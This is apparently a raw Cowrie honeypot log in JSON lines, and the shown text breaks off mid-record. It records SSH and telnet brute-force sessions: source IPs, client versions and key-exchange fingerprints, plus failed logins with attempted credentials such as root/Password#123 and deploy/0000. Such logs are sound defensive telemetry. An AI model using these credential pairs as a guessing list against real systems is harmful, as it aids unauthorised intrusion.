{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:39.109698Z","src_ip":"189.190.244.176","session":"d6270ab14c4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password#123","message":"login attempt [root/Password#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:39.440010Z","src_ip":"189.190.244.176","session":"d6270ab14c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:40.517050Z","src_ip":"189.190.244.176","session":"d6270ab14c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":46008,"dst_ip":"159.203.135.109","dst_port":22,"session":"c56b03a012a3","protocol":"ssh","message":"New connection: 52.169.217.131:46008 (159.203.135.109:22) [session: c56b03a012a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:58.357856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:58.361499Z","src_ip":"52.169.217.131","session":"c56b03a012a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:58.427506Z","src_ip":"52.169.217.131","session":"c56b03a012a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"martha1","message":"login attempt [root/martha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:58.739496Z","src_ip":"52.169.217.131","session":"c56b03a012a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:46:59.806485Z","src_ip":"52.169.217.131","session":"c56b03a012a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d34511050ca5","protocol":"ssh","message":"New connection: 103.172.78.219:51846 (10.17.0.5:22) [session: d34511050ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:20.841114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:20.844470Z","src_ip":"103.172.78.219","session":"d34511050ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:21.107298Z","src_ip":"103.172.78.219","session":"d34511050ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14022008","message":"login attempt [root/14022008] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:21.898289Z","src_ip":"103.172.78.219","session":"d34511050ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:23.164464Z","src_ip":"103.172.78.219","session":"d34511050ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":35816,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bac9a55dd9f","protocol":"ssh","message":"New connection: 162.215.213.210:35816 (10.17.0.5:22) [session: 4bac9a55dd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:34.355023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:34.358299Z","src_ip":"162.215.213.210","session":"4bac9a55dd9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:34.440090Z","src_ip":"162.215.213.210","session":"4bac9a55dd9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V0y@g3r!S3cur3#W0rd","message":"login attempt [root/V0y@g3r!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:34.688750Z","src_ip":"162.215.213.210","session":"4bac9a55dd9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:35.774147Z","src_ip":"162.215.213.210","session":"4bac9a55dd9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":52516,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6c9889699a3","protocol":"ssh","message":"New connection: 45.61.187.220:52516 (159.203.135.109:22) [session: c6c9889699a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:43.751690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:43.760812Z","src_ip":"45.61.187.220","session":"c6c9889699a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:43.787905Z","src_ip":"45.61.187.220","session":"c6c9889699a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste1","password":"1234","message":"login attempt [teste1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:43.943902Z","src_ip":"45.61.187.220","session":"c6c9889699a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:44.980075Z","src_ip":"45.61.187.220","session":"c6c9889699a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":58822,"dst_ip":"10.17.0.5","dst_port":23,"session":"409c4708e36c","protocol":"telnet","message":"New connection: 72.167.226.244:58822 (10.17.0.5:23) [session: 409c4708e36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:48.079069Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.131.27","src_port":34438,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8415ac23a2c","protocol":"ssh","message":"New connection: 118.145.131.27:34438 (10.17.0.5:22) [session: b8415ac23a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:53.456609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:53.482762Z","src_ip":"118.145.131.27","session":"b8415ac23a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:53.700090Z","src_ip":"118.145.131.27","session":"b8415ac23a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Star@123","message":"login attempt [root/Star@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:54.898244Z","src_ip":"118.145.131.27","session":"b8415ac23a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:47:56.129660Z","src_ip":"118.145.131.27","session":"b8415ac23a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":41950,"dst_ip":"10.17.0.5","dst_port":22,"session":"413c8e674503","protocol":"ssh","message":"New connection: 189.190.244.176:41950 (10.17.0.5:22) [session: 413c8e674503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:16.572804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:16.576084Z","src_ip":"189.190.244.176","session":"413c8e674503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:16.649816Z","src_ip":"189.190.244.176","session":"413c8e674503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwars","message":"login attempt [root/starwars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:16.978878Z","src_ip":"189.190.244.176","session":"413c8e674503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:18.055078Z","src_ip":"189.190.244.176","session":"413c8e674503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.011372804641724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:19.090313Z","src_ip":"72.167.226.244","session":"409c4708e36c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":53074,"dst_ip":"159.203.135.109","dst_port":22,"session":"54e47f29c33f","protocol":"ssh","message":"New connection: 52.169.217.131:53074 (159.203.135.109:22) [session: 54e47f29c33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:36.661873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:36.665113Z","src_ip":"52.169.217.131","session":"54e47f29c33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:36.731918Z","src_ip":"52.169.217.131","session":"54e47f29c33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"0000","message":"login attempt [deploy/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:37.041696Z","src_ip":"52.169.217.131","session":"54e47f29c33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:38.113105Z","src_ip":"52.169.217.131","session":"54e47f29c33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44704,"dst_ip":"159.203.135.109","dst_port":23,"session":"589135ed4426","protocol":"telnet","message":"New connection: 107.6.151.170:44704 (159.203.135.109:23) [session: 589135ed4426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:48:53.036438Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":57288,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d703da3933e","protocol":"ssh","message":"New connection: 162.214.159.200:57288 (10.17.0.5:22) [session: 6d703da3933e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:01.431700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:49:01.435936Z","src_ip":"162.214.159.200","session":"6d703da3933e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-